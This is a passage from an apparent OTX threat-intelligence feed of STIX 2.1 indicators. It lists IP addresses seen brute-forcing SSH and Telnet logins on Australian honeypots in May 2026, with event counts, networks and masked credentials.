      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '164.92.161.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T13:15:05.000Z",
      "valid_until": "2026-06-26T13:15:03.000Z"
    },
    {
      "created": "2026-05-25T13:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 143. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 54994. Organisation(s): Meteverse Limited.. Usernames observed (masked): r**t, k***h, 3**********4, c****e, c**l. Passwords observed (masked): 1**4, 3***********4, 3**********4, P******d, c*******3.",
      "id": "indicator--3be988e2-cd77-4bd7-8d5d-d13ac6126ac6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T13:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '174.35.25.181']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T13:15:05.000Z",
      "valid_until": "2026-06-26T13:15:03.000Z"
    },
    {
      "created": "2026-05-25T13:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AM. ASN(s): 49800. Organisation(s): GNC-Alfa CJSC.",
      "id": "indicator--669b61c9-62d6-4382-b83d-a59d9b42b965",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T13:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '62.89.28.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T13:15:05.000Z",
      "valid_until": "2026-06-26T13:15:03.000Z"
    },
    {
      "created": "2026-05-25T13:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--34c9d3a6-e889-4dd1-9680-799d5ce94e7b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T13:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T13:15:05.000Z",
      "valid_until": "2026-06-26T13:15:03.000Z"
    },
    {
      "created": "2026-05-25T13:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 56971. Organisation(s): Cgi Global Limited. Usernames observed (masked): c**l, d**1, j**n. Passwords observed (masked): d**1, p******d, w********2.",
      "id": "indicator--636847fe-a50b-4943-ac58-ffde49c6715a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T13:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '94.183.159.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T13:15:05.000Z",
      "valid_until": "2026-06-26T13:15:03.000Z"
    },
    {
      "created": "2026-05-25T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 136475. Organisation(s): Planetcast Media Services Limited. Usernames observed (masked): r**t, u****d, u**r. Passwords observed (masked): 0**0, q********@, u****d.",
      "id": "indicator--d0490135-f11d-4ecb-ae0d-a6d193894cd9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.89.136.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T14:15:10.000Z",
      "valid_until": "2026-06-26T14:15:08.000Z"
    },
    {
      "created": "2026-05-25T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CA. ASN(s): 6407. Organisation(s): Primus Telecommunications Canada Inc..",
      "id": "indicator--f7727671-6391-4816-824e-4fc76271ea00",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '173.206.84.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T14:15:10.000Z",
      "valid_until": "2026-06-26T14:15:08.000Z"
    },
    {
      "created": "2026-05-25T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 16509. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--557b7188-fa5f-41cb-a429-fcc16d92c593",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '18.224.252.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T14:15:10.000Z",
      "valid_until": "2026-06-26T14:15:08.000Z"
    },
    {
      "created": "2026-05-25T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 16509. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--a1317943-9160-4a38-81af-c06de934f561",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '18.225.235.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T14:15:10.000Z",
      "valid_until": "2026-06-26T14:15:08.000Z"
    },
    {
      "created": "2026-05-25T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 155. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ES. ASN(s): 58065. Organisation(s): Orion Network Limited. Usernames observed (masked): r**t, c**l, 3**********4, a***n, c***d. Passwords observed (masked): 1****6, ***, 3***********4, 3**********4, K*************1.",
      "id": "indicator--e34526fa-3820-4882-b2bc-b6c54eccc045",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '196.196.150.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T14:15:10.000Z",
      "valid_until": "2026-06-26T14:15:08.000Z"
    },
    {
      "created": "2026-05-25T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 143. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 49505. Organisation(s): JSC Selectel. Usernames observed (masked): r**t, c**l, 3**********4, a***n, f******1. Passwords observed (masked): 1****6, ***, 3***********4, 3**********4, K*************1.",
      "id": "indicator--2c4078d4-a8b8-4cee-b1f9-a2e0d0238e3f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '31.41.152.180']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T14:15:10.000Z",
      "valid_until": "2026-06-26T14:15:08.000Z"
    },
    {
      "created": "2026-05-25T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 94. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 24940. Organisation(s): Hetzner Online GmbH. Usernames observed (masked): r**t, 3**********4, **, t******r. Passwords observed (masked): 1******8, 3***********4, 3**********4, Q********5, r********3.",
      "id": "indicator--4afc1b4c-ffb6-4523-a50e-e1671beb7771",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '46.225.17.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T14:15:10.000Z",
      "valid_until": "2026-06-26T14:15:08.000Z"
    },
    {
      "created": "2026-05-25T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 10439. Organisation(s): CariNet, Inc..",
      "id": "indicator--a3e896ce-231f-47c5-9814-643979b06f9d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.240.236.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T14:15:10.000Z",
      "valid_until": "2026-06-26T14:15:08.000Z"
    },
    {
      "created": "2026-05-25T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 10439. Organisation(s): CariNet, Inc..",
      "id": "indicator--496f9dab-99b8-4cf0-9954-0110da278cae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '71.6.232.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T14:15:10.000Z",
      "valid_until": "2026-06-26T14:15:08.000Z"
    },
    {
      "created": "2026-05-25T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: SN. ASN(s): 14593. Organisation(s): Space Exploration Technologies Corporation.",
      "id": "indicator--e71ecc1c-39e4-4166-b0c3-7b1bba26377a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '74.244.85.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T14:15:10.000Z",
      "valid_until": "2026-06-26T14:15:08.000Z"
    },
    {
      "created": "2026-05-25T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 48128. Organisation(s): Obyedinyonniye Lokalniye Seti Ltd..",
      "id": "indicator--73c0aba3-13d4-4136-a16c-72e657b4670c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '94.232.68.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T14:15:10.000Z",
      "valid_until": "2026-06-26T14:15:08.000Z"
    },
    {
      "created": "2026-05-25T15:16:29.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 392. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): r**t, a***n, u**t, u**r, *****. Passwords observed (masked): 1**4, 1****6, a***n, *****, 1******8.",
      "id": "indicator--3181ea1b-fa17-4c48-84c8-f9e3eaf17516",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T15:16:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '116.99.174.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T15:16:29.000Z",
      "valid_until": "2026-06-26T15:15:03.000Z"
    },
    {
      "created": "2026-05-25T15:16:29.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--9ba54654-c591-41c5-9777-ef0f2e0db269",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T15:16:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.107.228.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T15:16:29.000Z",
      "valid_until": "2026-06-26T15:15:03.000Z"
    },
    {
      "created": "2026-05-25T15:16:29.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: UY. ASN(s): 6057. Organisation(s): Administracion Nacional de Telecomunicaciones.",
      "id": "indicator--37569480-fab0-4fcf-8fbe-485ceb1b2bae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T15:16:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.55.229.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T15:16:29.000Z",
      "valid_until": "2026-06-26T15:15:03.000Z"
    },
    {
      "created": "2026-05-25T15:16:29.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--5b50728f-cfb4-4067-afb9-79184440d209",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T15:16:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '20.65.138.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T15:16:29.000Z",
      "valid_until": "2026-06-26T15:15:03.000Z"
    },
    {
      "created": "2026-05-25T15:16:29.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: NC. ASN(s): 56089. Organisation(s): OFFRATEL.",
      "id": "indicator--3692aedf-f528-4d26-950e-49a93eddb25e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T15:16:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '202.166.180.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T15:16:29.000Z",
      "valid_until": "2026-06-26T15:15:03.000Z"
    },
    {
      "created": "2026-05-25T15:16:29.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 524. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): a***n, r**t, s*****t, t**t, c***o. Passwords observed (masked): a***n, 1**4, 1****6, p******d, 1***5.",
      "id": "indicator--e2ba8f30-f13b-4940-b3a2-0cf720448d2a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T15:16:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.79.2.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T15:16:29.000Z",
      "valid_until": "2026-06-26T15:15:03.000Z"
    },
    {
      "created": "2026-05-25T15:16:29.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--d5b886b9-cf2e-4850-99a8-f114b5e992f8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T15:16:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '36.27.2.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T15:16:29.000Z",
      "valid_until": "2026-06-26T15:15:03.000Z"
    },
    {
      "created": "2026-05-25T15:16:29.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--e2b9dd4b-e4a2-4ba3-8de4-103b06cd598d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T15:16:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '59.23.100.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T15:16:29.000Z",
      "valid_until": "2026-06-26T15:15:03.000Z"
    },
    {
      "created": "2026-05-25T15:16:29.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 43175. Organisation(s): Lux.net, LLC.",
      "id": "indicator--527b5781-bc29-4773-9e96-dd7dd75195a6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T15:16:29.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.196.178.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T15:16:29.000Z",
      "valid_until": "2026-06-26T15:15:03.000Z"
    },
    {
      "created": "2026-05-25T16:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--60bee1b3-2016-4796-b7fe-95ec0d7ed897",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T16:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.239.96.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T16:15:05.000Z",
      "valid_until": "2026-06-26T16:15:03.000Z"
    },
    {
      "created": "2026-05-25T16:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--54da3b06-ba1d-453e-9f8b-e90857c8ff8e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T16:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '14.1.107.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T16:15:05.000Z",
      "valid_until": "2026-06-26T16:15:03.000Z"
    },
    {
      "created": "2026-05-25T16:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--34fbb84a-5558-4c87-b794-23f7a7cbe924",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T16:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '182.127.10.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T16:15:05.000Z",
      "valid_until": "2026-06-26T16:15:03.000Z"
    },
    {
      "created": "2026-05-25T16:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: PY. ASN(s): 23201. Organisation(s): Telecel S.A..",
      "id": "indicator--a68cbae5-f2b7-4c7f-81f0-47cb4f469b2a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T16:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.16.172.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T16:15:05.000Z",
      "valid_until": "2026-06-26T16:15:03.000Z"
    },
    {
      "created": "2026-05-25T16:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PY. ASN(s): 64165. Organisation(s): EXTRA S.A..",
      "id": "indicator--bbb8d427-b33a-4936-bcb4-569ed27cc2be",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T16:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.183.62.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T16:15:05.000Z",
      "valid_until": "2026-06-26T16:15:03.000Z"
    },
    {
      "created": "2026-05-25T16:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 473. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): r**t, m***l, u**p, u***1, a***n. Passwords observed (masked): 1****6, p******d, *, *, 1**4.",
      "id": "indicator--76e0f985-02d5-4080-b9d3-4927694c7a21",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T16:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '47.253.11.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T16:15:05.000Z",
      "valid_until": "2026-06-26T16:15:03.000Z"
    },
    {
      "created": "2026-05-25T16:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--e5bea4fa-d8dd-4b68-a473-dceba64d0142",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T16:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '65.49.20.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T16:15:05.000Z",
      "valid_until": "2026-06-26T16:15:03.000Z"
    },
    {
      "created": "2026-05-25T16:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 281. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 6848. Organisation(s): Telenet BV. Usernames observed (masked): r**t. Passwords observed (masked): t**r, , a***n, p******d, r**t.",
      "id": "indicator--80dbb42d-7e1e-4572-953a-9aefe47b51cb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T16:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '78.20.163.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T16:15:05.000Z",
      "valid_until": "2026-06-26T16:15:03.000Z"
    },
    {
      "created": "2026-05-25T16:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 212238. Organisation(s): Datacamp Limited. Usernames observed (masked): r**t. Passwords observed (masked): t**r.",
      "id": "indicator--22a8d227-98b8-430c-8ef9-f94ea76680e3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T16:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '87.249.134.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T16:15:05.000Z",
      "valid_until": "2026-06-26T16:15:03.000Z"
    },
    {
      "created": "2026-05-25T17:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--2482b02f-a549-4b76-a550-87a44d05fb5d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T17:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.58.94.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T17:15:12.000Z",
      "valid_until": "2026-06-26T17:15:08.000Z"
    },
    {
      "created": "2026-05-25T17:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--15c31eaa-688e-4115-a8cc-d517157825c6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-25T17:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T17:15:12.000Z",
      "valid_until": "2026-06-26T17:15:08.000Z"
    },
    {
      "created": "2026-05-25T17:15:12.000Z",
